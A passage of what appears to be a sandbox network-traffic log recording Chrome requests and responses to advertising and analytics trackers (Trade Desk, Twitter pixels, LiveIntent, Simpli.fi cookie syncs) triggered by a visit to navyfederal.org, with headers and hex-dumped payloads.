2024-05-24 22:46:05 UTC	794	OUT	GET /track/cmf/rubicon?gdpr=0 HTTP/1.1 Host: match.adsrvr.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://9749892.fls.doubleclick.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: TDID=00d6b47b-5df0-41e1-812e-c334ebaa9abf; TDCPM=CAESEgoDYWFtEgsInKC0tPDg8jwQBRIWCgdydWJpY29uEgsIjP3dq6qT_jwQBRgFIAEoATILCLTvjMHAk_48EAU4AUIEIgIIAVoHcGNsOGJpeWABcgdydWJpY29u
2024-05-24 22:46:05 UTC	698	IN	HTTP/1.1 302 Found Date: Fri, 24 May 2024 22:46:05 GMT Content-Length: 341 Connection: close server: Kestrel location: https://ib.adnxs.com/getuid?https%3a%2f%2fmatch.adsrvr.org%2ftrack%2fcmf%2fappnexus%3fttd%3d1%26anid%3d%24UID&ttd_tdid=00d6b47b-5df0-41e1-812e-c334ebaa9abf set-cookie: TDID=00d6b47b-5df0-41e1-812e-c334ebaa9abf; expires=Sat, 24 May 2025 22:46:05 GMT; domain=.adsrvr.org; path=/; secure; samesite=none set-cookie: TDCPM=CAESEgoDYWFtEgsInKC0tPDg8jwQBRIWCgdydWJpY29uEgsIjP3dq6qT_jwQBRIXCghhcHBuZXh1cxILCNadit_w4PI8EAUYBSACKAEyCwi074zBwJP-PBAFOAFCBCICCAFaB3BjbDhiaXlgAXIIYXBwbmV4dXM.; expires=Sat, 24 May 2025 22:46:05 GMT; domain=.adsrvr.org; path=/; secure; samesite=none
2024-05-24 22:46:05 UTC	341	IN	Data Raw: 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 3a 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 69 62 2e 61 64 6e 78 73 2e 63 6f 6d 2f 67 65 74 75 69 64 3f 68 74 74 70 73 25 33 61 25 32 66 25 32 66 6d 61 74 63 68 2e 61 64 73 72 76 72 2e 6f 72 67 25 32 66 74 72 61 63 6b 25 32 66 63 6d 66 25 32 66 61 70 70 6e 65 78 75 73 25 33 66 74 74 64 25 33 64 31 25 32 36 61 6e 69 64 25 33 64 25 32 34 55 49 44 26 74 74 64 5f 74 64 69 64 3d 30 30 64 36 62 34 37 62 2d 35 64 66 30 2d 34 31 65 31 2d 38 31 32 65 2d 63 33 33 34 65 62 61 61 39 61 62 66 22 3e 68 74 74 70 73 3a 2f 2f 69 62 2e 61 64 6e 78 73 2e 63 6f 6d 2f 67 65 74 75 69 64 3f 68 74 74 70 73 25 33 61 25 32 66 25 32 66 6d 61 74 63 68 2e 61 64 73 72 76 72 2e 6f 72 67 25 32 66 74 72 61 63 6b 25 32 66 63 6d 66 25 Data Ascii: Redirecting to: <a href="https://ib.adnxs.com/getuid?https%3a%2f%2fmatch.adsrvr.org%2ftrack%2fcmf%2fappnexus%3fttd%3d1%26anid%3d%24UID&ttd_tdid=00d6b47b-5df0-41e1-812e-c334ebaa9abf">https://ib.adnxs.com/getuid?https%3a%2f%2fmatch.adsrvr.org%2ftrack%2fcmf%

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.6	49981	104.244.42.131	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:05 UTC	807	OUT	GET /1/i/adsct?bci=5&eci=3&event=%7B%7D&event_id=81e2e4c5-42ad-44dd-8617-cd81c22c011d&integration=advertiser&p_id=Twitter&p_user_id=0&pl_id=272bf3a9-5e24-4cac-85c0-41ae2c7fa36c&tw_document_href=https%3A%2F%2Fwww.navyfederal.org%2F&tw_iframe_status=0&txn_id=o4vdx&type=javascript&version=2.3.30 HTTP/1.1 Host: analytics.twitter.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: personalization_id="v1_i8U0oiFUHf/L+PKbJbHdBg=="; guest_id_marketing=v1%3A171659076476233977; guest_id_ads=v1%3A171659076476233977; guest_id=v1%3A171659076476233977
2024-05-24 22:46:05 UTC	400	IN	HTTP/1.1 200 OK date: Fri, 24 May 2024 22:46:04 GMT perf: 7402827104 server: tsa_b content-type: image/gif;charset=utf-8 cache-control: no-cache, no-store, max-age=0 content-length: 43 x-transaction-id: bfa96bf375f56957 strict-transport-security: max-age=631138519 x-response-time: 5 x-connection-hash: 7498c911c6859ad9ec46c2f2e052edf848cf9166ce7c3b5450c377924114941a connection: close
2024-05-24 22:46:05 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 09 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.6	49980	104.244.42.131	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:05 UTC	872	OUT	GET /i/adsct?bci=5&eci=2&event_id=43adeeea-ec5c-4164-a084-520844475719&events=%5B%5B%22pageview%22%2C%7B%7D%5D%5D&integration=advertiser&p_id=Twitter&p_user_id=0&pl_id=272bf3a9-5e24-4cac-85c0-41ae2c7fa36c&tw_document_href=https%3A%2F%2Fwww.navyfederal.org%2F&tw_iframe_status=0&tw_order_quantity=0&tw_sale_amount=0&txn_id=o4vdx&type=javascript&version=2.3.30 HTTP/1.1 Host: analytics.twitter.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: personalization_id="v1_i8U0oiFUHf/L+PKbJbHdBg=="; guest_id_marketing=v1%3A171659076476233977; guest_id_ads=v1%3A171659076476233977; guest_id=v1%3A171659076476233977
2024-05-24 22:46:05 UTC	401	IN	HTTP/1.1 200 OK date: Fri, 24 May 2024 22:46:05 GMT perf: 7402827104 server: tsa_b content-type: image/gif;charset=utf-8 cache-control: no-cache, no-store, max-age=0 content-length: 43 x-transaction-id: 5caf69518ae3badb strict-transport-security: max-age=631138519 x-response-time: 81 x-connection-hash: 5d14b56dedd25af80261a154d81678d0d928879efe3b52a0b4b9f818f9776ec3 connection: close
2024-05-24 22:46:05 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 09 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.6	49977	18.239.67.100	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:05 UTC	805	OUT	GET /universal_pixel.1.1.0.js HTTP/1.1 Host: js.adsrvr.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://insight.adsrvr.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: TDID=00d6b47b-5df0-41e1-812e-c334ebaa9abf; TDCPM=CAESEgoDYWFtEgsInKC0tPDg8jwQBRIWCgdydWJpY29uEgsIjP3dq6qT_jwQBRIVCgZnb29nbGUSCwj6wu64qpP-PBAFEhcKCGFwcG5leHVzEgsIoOHuuKqT_jwQBRIWCgdibHVla2FpEgsI7IPvuKqT_jwQBRgFKAMyCwj2mfHlwJP-PBAFOAFCBCICCAFaB3BjbDhiaXlgAQ..
2024-05-24 22:46:05 UTC	533	IN	HTTP/1.1 200 OK Content-Type: application/x-javascript Content-Length: 488 Connection: close Last-Modified: Mon, 20 May 2024 07:02:14 GMT x-amz-server-side-encryption: AES256 Accept-Ranges: bytes Server: AmazonS3 Date: Fri, 24 May 2024 04:52:22 GMT ETag: "2775054c068b37509e0798448f7fd32c" Vary: Accept-Encoding X-Cache: Hit from cloudfront Via: 1.1 0f0656e015969f214cbb02d6f2a23f6a.cloudfront.net (CloudFront) X-Amz-Cf-Pop: AMS58-P4 X-Amz-Cf-Id: auB4BQ3FQVWZHw-OEMYVs3oe5LLSEVwpJcg91bfxY04rf6V3c-MNyA== Age: 64424
2024-05-24 22:46:05 UTC	488	IN	Data Raw: 76 61 72 20 54 54 44 43 4d 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 20 66 75 6e 63 74 69 6f 6e 20 6e 28 74 29 20 7b 20 76 61 72 20 65 20 3d 20 22 69 66 72 61 6d 65 5f 22 20 2b 20 74 68 69 73 2e 6d 61 70 49 6e 64 65 78 2b 2b 2c 20 69 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 69 66 72 61 6d 65 22 29 3b 20 69 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 2c 20 65 29 2c 20 69 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 61 6c 6c 6f 77 54 72 61 6e 73 70 61 72 65 6e 63 79 22 2c 20 21 30 29 2c 20 69 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 68 65 69 67 68 74 22 2c 20 30 29 2c 20 69 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 77 69 64 74 68 22 2c 20 30 29 2c 20 69 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 Data Ascii: var TTDCM = function () { function n(t) { var e = "iframe_" + this.mapIndex++, i = document.createElement("iframe"); i.setAttribute("id", e), i.setAttribute("allowTransparency", !0), i.setAttribute("height", 0), i.setAttribute("width", 0), i.setAttribute(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.6	49978	52.44.96.219	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:05 UTC	739	OUT	GET /s/64581?bidder_id=200442&bidder_uuid=357c28c3-9efd-4e35-8e20-288ff8da4a1a:1716590758.313698&_=1716590763.1485915 HTTP/1.1 Host: i6.liadm.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: lidid=c6075f47-d32b-4d81-8231-a2e2225587fd
2024-05-24 22:46:05 UTC	226	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 22:46:05 GMT Content-Type: image/gif Content-Length: 43 Connection: close Request-Time: 0 Cache-Control: no-store Strict-Transport-Security: max-age=31536000; includeSubDomains
2024-05-24 22:46:05 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.6	49979	52.44.96.219	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:05 UTC	738	OUT	GET /s/64581?bidder_id=200442&bidder_uuid=357c28c3-9efd-4e35-8e20-288ff8da4a1a:1716590758.313698&_=1716590763.155465 HTTP/1.1 Host: i6.liadm.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: lidid=70344332-7801-4475-9af2-802d8d6e72cf
2024-05-24 22:46:05 UTC	226	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 22:46:05 GMT Content-Type: image/gif Content-Length: 43 Connection: close Request-Time: 0 Cache-Control: no-store Strict-Transport-Security: max-age=31536000; includeSubDomains
2024-05-24 22:46:05 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
128	192.168.2.6	49992	104.244.42.133	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:05 UTC	735	OUT	GET /i/adsct?bci=5&eci=2&event_id=43adeeea-ec5c-4164-a084-520844475719&events=%5B%5B%22pageview%22%2C%7B%7D%5D%5D&integration=advertiser&p_id=Twitter&p_user_id=0&pl_id=272bf3a9-5e24-4cac-85c0-41ae2c7fa36c&tw_document_href=https%3A%2F%2Fwww.navyfederal.org%2F&tw_iframe_status=0&tw_order_quantity=0&tw_sale_amount=0&txn_id=o4vdx&type=javascript&version=2.3.30 HTTP/1.1 Host: t.co Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: muc_ads=5afb271d-5ca0-4fba-8d76-91e68208e2e2
2024-05-24 22:46:05 UTC	393	IN	HTTP/1.1 200 OK date: Fri, 24 May 2024 22:46:04 GMT perf: 7402827104 server: tsa_b content-type: image/gif;charset=utf-8 cache-control: no-cache, no-store, max-age=0 content-length: 43 x-transaction-id: 6dd4732f01e3b461 strict-transport-security: max-age=0 x-response-time: 89 x-connection-hash: c79c03c5b7001ca914142ea19c0aef2fa548faadf0428fce5c043a1e3c5fa609 connection: close
2024-05-24 22:46:05 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 09 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
129	192.168.2.6	49986	35.204.74.118	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:05 UTC	659	OUT	GET /smaato HTTP/1.1 Host: um.simpli.fi Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://9749892.fls.doubleclick.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: suid=4F23F6C2C1D4438DAA81302CEEAB3C45; uid_syncd_secure=true
2024-05-24 22:46:06 UTC	638	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Fri, 24 May 2024 22:46:05 GMT Content-Type: text/html Content-Length: 142 Connection: close Location: https://s.ad.smaato.net/c/?dspInit=1001136&dspCookie=4F23F6C2C1D4438DAA81302CEEAB3C45 Expires: Thu, 23 May 2024 22:46:05 GMT Cache-Control: no-cache Strict-Transport-Security: max-age=63072000; includeSubdomains; preload X-Content-Type-Options: nosniff Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Allow-Headers: DNT,X-Mx-ReqToken,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type
2024-05-24 22:46:06 UTC	142	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
130	192.168.2.6	49985	35.204.74.118	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:05 UTC	659	OUT	GET /nexxen HTTP/1.1 Host: um.simpli.fi Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://9749892.fls.doubleclick.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: suid=4F23F6C2C1D4438DAA81302CEEAB3C45; uid_syncd_secure=true
2024-05-24 22:46:06 UTC	623	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Fri, 24 May 2024 22:46:05 GMT Content-Type: text/html Content-Length: 142 Connection: close Location: https://sync.1rx.io/usersync/simplifi/4F23F6C2C1D4438DAA81302CEEAB3C45 Expires: Thu, 23 May 2024 22:46:05 GMT Cache-Control: no-cache Strict-Transport-Security: max-age=63072000; includeSubdomains; preload X-Content-Type-Options: nosniff Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Allow-Headers: DNT,X-Mx-ReqToken,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type
2024-05-24 22:46:06 UTC	142	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
131	192.168.2.6	49989	35.204.74.118	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:05 UTC	663	OUT	GET /triplelift HTTP/1.1 Host: um.simpli.fi Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://9749892.fls.doubleclick.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: suid=4F23F6C2C1D4438DAA81302CEEAB3C45; uid_syncd_secure=true
2024-05-24 22:46:06 UTC	637	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Fri, 24 May 2024 22:46:05 GMT Content-Type: text/html Content-Length: 142 Connection: close Location: https://eb2.3lift.com/xuid?mid=7969&xuid=4F23F6C2C1D4438DAA81302CEEAB3C45&dongle=yf3 Expires: Thu, 23 May 2024 22:46:05 GMT Cache-Control: no-cache Strict-Transport-Security: max-age=63072000; includeSubdomains; preload X-Content-Type-Options: nosniff Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Allow-Headers: DNT,X-Mx-ReqToken,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type
2024-05-24 22:46:06 UTC	142	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
132	192.168.2.6	49990	35.204.74.118	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:05 UTC	662	OUT	GET /telaria_p HTTP/1.1 Host: um.simpli.fi Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://9749892.fls.doubleclick.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: suid=4F23F6C2C1D4438DAA81302CEEAB3C45; uid_syncd_secure=true
2024-05-24 22:46:06 UTC	635	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Fri, 24 May 2024 22:46:05 GMT Content-Type: text/html Content-Length: 142 Connection: close Location: https://simplifi.partners.tremorhub.com/sync?UISF=4F23F6C2C1D4438DAA81302CEEAB3C45 Expires: Thu, 23 May 2024 22:46:05 GMT Cache-Control: no-cache Strict-Transport-Security: max-age=63072000; includeSubdomains; preload X-Content-Type-Options: nosniff Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Allow-Headers: DNT,X-Mx-ReqToken,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type
2024-05-24 22:46:06 UTC	142	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
133	192.168.2.6	49987	35.204.74.118	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:05 UTC	658	OUT	GET /tapad HTTP/1.1 Host: um.simpli.fi Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://9749892.fls.doubleclick.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: suid=4F23F6C2C1D4438DAA81302CEEAB3C45; uid_syncd_secure=true
2024-05-24 22:46:06 UTC	661	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Fri, 24 May 2024 22:46:05 GMT Content-Type: text/html Content-Length: 142 Connection: close Location: https://pixel.tapad.com/idsync/ex/receive?partner_id=2305&partner_device_id=4F23F6C2C1D4438DAA81302CEEAB3C45 Expires: Thu, 23 May 2024 22:46:05 GMT Cache-Control: no-cache Strict-Transport-Security: max-age=63072000; includeSubdomains; preload X-Content-Type-Options: nosniff Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Allow-Headers: DNT,X-Mx-ReqToken,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type
2024-05-24 22:46:06 UTC	142	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
134	192.168.2.6	49988	35.204.74.118	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
